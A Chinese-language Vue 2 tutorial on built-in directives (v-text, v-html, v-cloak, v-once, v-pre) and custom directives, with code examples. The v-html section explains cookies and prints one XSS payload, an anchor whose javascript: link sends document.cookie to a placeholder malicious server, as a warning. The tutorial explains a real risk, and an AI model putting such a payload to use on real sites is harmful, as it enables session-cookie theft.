除了之前已经介绍过的v-on v-bind v-for v-if v-show,vue还有很多其他的指令。
v-text
v-text是Vue内置指令。内置指令,是Vue内部定义好的,开发的时候直接拿来用就行了。
v-text用于向其所在的标签添加文本。
<body>
<div id="root">
<div v-text="data">
</div>
</div>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
const vm = new Vue({
el:"#root",
data(){
return {
data:'hello world',
}
},
})
</script>
</body>
插值语法也可以向标签中添加本文,和v-text比起来,插值语法更灵活,因为使用v-text时,标签内部的文本会被完全忽略,最终v-text的内容会覆盖标签里的文本,这就代表着,在使用v-text时,只能用v-text的value完成所有文本的编辑,语法要稍微复杂一些。
虽然标签中写了数据catcat,但页面并没有显示这段数据,标签内的内容被完全覆盖了。
v-text并不能解析标签,如果v-text的内容是标签,标签只会被当做普通的字符串解析。
但是,如果标签中不需要添加很复杂的语法,想填充某个变量,使用v-text也可以。
v-html
与v-text对比,v-html的作用类似,也是用于向其所在的标签中添加内容,v-html也会完全替换标签中的内容。但不同的是,v-html可以解析标签内容。
但与此同时,v-html也存在安全问题。
cookie
要介绍安全问题,首先要了解cookie。以登录为例,当我们在网站中输入好用户名和密码,点击登录时,如果都输入正确,会跳入用户的个人主页。登录到个人主页后,用户就具有登录状态,能够访问一些私人信息页面,比如访问个人信息库等,不需要重复输入账户和密码。这个不需要重复输入账户和密码的过程,就使用了cookie。
当用户用账户和密码登录网站时,也就是用户第一次和服务器端通信时,用户名向服务器发送数据,并且带上账户信息,服务器端接收信息,验证成功后,会给用户端响应数据,即成功的页面信息等,同时,服务器端还会返回cookie,cookie的本质就是一个类似key:value的json字符串。
当浏览器拿到服务器端返回的cookie后,浏览器会把服务器端返回的cookie存储起来。
当浏览器需要访问当前网站的其他某个需要登录态才能访问的页面时,客户端不需要重新输入账户和密码,客户端会自动携带一开始存储的服务端返回的cookie。这个cookie就是身份标识,服务端通过对cookie进行校验,可以验证用户的身份,当验证身份成功后,服务端会返回用户当前请求的数据,以及返回新的cookie。
新返的cookie,取决于服务器端的设置,并不一定都会携带,也许网站会在用户登录的时候返回所有用户需要的cookie,也可能是当用户请求某个页面时,才返回对应的cookie。浏览器同样会存储新返回的cookie。每次客户端请求信息时,都会携带服务器返回的cookie。
当cookie被攻击者窃取时,攻击者就能仿冒用户的身份,获得数据。
对于不同的浏览器,浏览器各自存储的cookie是不互通的。
cookie可以在登录页面后,按f12,在界面的application里查看,cookies都是key:value格式。
假设攻击者能获取当前用户获得访问权限需要的所有cookie,攻击者就能获得当前用户的登录态。
v-html与cookie
cookies是浏览器存储在硬盘中的数据,刷新浏览器也不会丢。通过document.cookie能够获得网站的所有cookie。
如果v-html中的标签,是恶意标签内容,在其中暗含了输出cookie的代码,就能泄露cookie信息。
<a href=javascript:location.href="恶意服务器网址?"+document.cookie></a>
当用户点击这段a标签,就会跳转到恶意服务器网址,并且会在恶意网址中以query的形式显示cookie。恶意网址收到这段访问信息,就能获得当前网站和你的cookies。
不过,其实浏览器也考虑了安全问题,实际攻击时,并不会如此容易地获取cookie,以上内容只是一个简单的例子。可以设置HttpOnly,当一个cookie被设置了HttpOnly时,那么就只有使用http协议的时候能携带这个cookie,攻击者通过javascript跳转的方式并不能获取所有的cookie。
但是,如果代码写得不够完善,还是会造成安全问题。
v-html本身能够把一段html标签直接放入页面中进行解析,本身就存在很高的安全风险。
在form相关的标签中,一定不要使用v-html。
v-cloak
考虑这样一种情况,当前网页需要请求外部js数据,且这个数据返回得非常慢,可能要很多秒才能返回。
这时候,可能会产生js阻塞现象。也就是说,如果js写在head中,浏览器在body部分渲染,js请求多久,页面就多久无法显示。
如果js写在body的最后面,虽然js不会阻塞页面的显示,但是页面上的数据可能是未经解析的,用户看到的是空白数据甚至是未经解析的模版字符串,这也会造成问题。
如果我们希望js写在body下方,且不希望内部写的代码展示在页面上,也就是不希望页面显示未经解析的代码。
vue提供v-cloak来解决这个问题。
可以在不希望页面显示代码的标签里加上v-cloak,加上v-cloak之后,在页面数据已经显示,但尚未解析的时候,v-cloak会暂时接管容器,在Vue接管容器时,v-cloak才会被删除。
v-cloak是和css配合使用的,在css中选中v-cloak属性,通过把含有v-cloak属性的标签设置成不显示,可以解决这个问题。
v-cloak用于在网速过慢时,阻止页面显示未经解析的数据。
v-once
当标签设置v-once之后,当前标签只在初次渲染时是动态的,渲染完成后,标签就变成静态的了。即使过后标签中的数据发生改变,标签也并不会重新解析。
也就是说当前标签只进行一次解析。
v-pre
用于跳过其所在标签的解析过程。
如果一个标签没有vue语法,不需要解析,就可以给当前标签设置v-pre,加速解析过程。
但要注意,如果标签中有vue语法,不要使用v-pre,使用v-pre会导致含有vue语法的标签不会进行解析,可能会在页面中显示出原生的vue语法。
自定义指令
除了vue定义好的指令,开发人员也可以自己定义指令。
vue中的指令,其实一般就是对DOM的修改操作进行了封装。
自定义指令的语法,在标签中,和一般的指令语法是一样的,v-自定义指令名="指令绑定的数据"。
对于自定义指令,需要在new vue时进行配置:通过directives:{}进行配置,指令以key:value的形式进行配置,key是自定义指令名,value配置语法有两种,一种value值是函数式,一种value值是对象式。
当把value配置成函数时,指令的效果不靠返回值,而是靠函数的参数。该函数具有两个参数,第一个参数element是指令所在的标签,该标签是真实DOM;第二个参数binding是一个对象,该对象具有很多和指令相关的数据:对象中包含指令绑定的数据,这个数值通过.value获取。对象中也记录了.expression,.expression记录了v-自定义指令名="",中""里的内容。
自定义函数何时会被调用:
自定义函数在两种情况下会被调用,一种是在指令与元素成功绑定时会调用一次。然后是指令所在的vue模板被重新解析时,指令函数也会被调用。也就是说,当其他数据修改造成模板重新解析时,当前指令也会被重新调用。
函数式
自定义指令主要取决于开发人员的需求,如果我们想把绑定的数值放大一定倍数,可以写一个v-large指令。
<body>
<div id="root">
<div v-large="num">
{{num}}
</div>
</div>
<style>
</style>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
const vm = new Vue({
el:"#root",
data(){
return {
num:1,
}
},
directives:{
large(element,binding){
console.log(element);
console.log(binding);
element.innerHTML = binding.value * 100;
}
}
})
</script>
</body>
对象式
如果想定义一个指令v-focus,该指令可以让绑定指令的input元素默认获得焦点。
对于焦点来说,一个Input框如果想获取焦点,需要DOM元素先在页面上生成,然后才能获取焦点。
由于指令是在指令与元素绑定时就调用一次开发者定义的函数,这个时候,指令对应的标签还没有生成DOM。如果使用函数的形式配置指令,是无法给标签设置focus的。
如果我们希望在DOM标签生成之后,再配置focus,就需要使用对象式配置:
指令名:{
函数1,
函数2,
....
}
对于配置对象,对象中需要配置多个函数,每个函数都有自己触发的时机,函数名是固定的,对应的触发时机也是固定的,不能自己定义。
函数具有bind、inserted和update钩子,vue会在某个时机调用某个钩子。
当指令和元素成功绑定时,就会调用bind函数。
当指令所在的标签被插入页面时,inserted被调用。
当指令所在的模板被重新解析时,update函数被调用。
在获得焦点的例子中,应该在inserted函数中配置焦点。
bind、inserted和update都有两个参数,都是element和binding。
<body>
<div id="root">
<input type="text" v-focus/>
</div>
<style>
</style>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
const vm = new Vue({
el:"#root",
data(){
return {
}
},
directives:{
focus:{
bind(){
},
inserted(element,binding){
element.focus();
},
update(){
}
}
}
})
</script>
</body>
在bind函数中,可以给标签配置一些样式、事件绑定、属性值配置。
很多时候,bind函数中的逻辑,和updata的逻辑是一样的,函数式其实就相当于给指令配置了一样的bind和update,但是没有配置inserted。
自定义指令注意事项:
指令名的问题:
v- 后面的自定义指令名,如果比较复杂,可能我们会写成驼峰形式,但是这会导致报错。
vue会把v- 后面的名字都变成小写,所以最好不要写驼峰形式,对于多个单词,使用-分隔,
在配置directives时,使用字符串形式的key值进行配置:
<body>
<div id="root">
<input type="text" v-get-fouces/>
</div>
<style>
</style>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
const vm = new Vue({
el:"#root",
data(){
return {
num:1,
}
},
directives:{
'get-fouces':{
bind(){
},
inserted(element,binding){
element.focus();
},
update(){
}
}
}
})
</script>
</body>
函数式:
<div id="root">
<input type="text" v-get-large/>
</div>
directives:{
'get-large':function(){
....
}
或
'get-large'(){
...
}
}
指令函数中的this指向:
函数式中的this、对象式钩子函数中的this:
这些this都是window,即使写的是普通函数,不是箭头函数,this指向的也是window。
<body>
<div id="root">
<input type="text" v-get-large/>
<div v-large></div>
</div>
<style>
</style>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
const vm = new Vue({
el:"#root",
data(){
return {
num:1,
}
},
directives:{
'get-large':{
bind(){
console.log(this);
}
},
large(){
console.log(this);
}
}
})
</script>
</body>
对于当前组件或者vue实例中定义的指令,这些指令也是局部指令,如果要注册全局自定义指令:
Vue.directive(
自定义对象名(字符串形式),配置对象/函数
)
(要注意,局部指令是在directives中配置的,全局注册是使用directive,末尾没有s,全局指令是一个一个自定义指令注册的)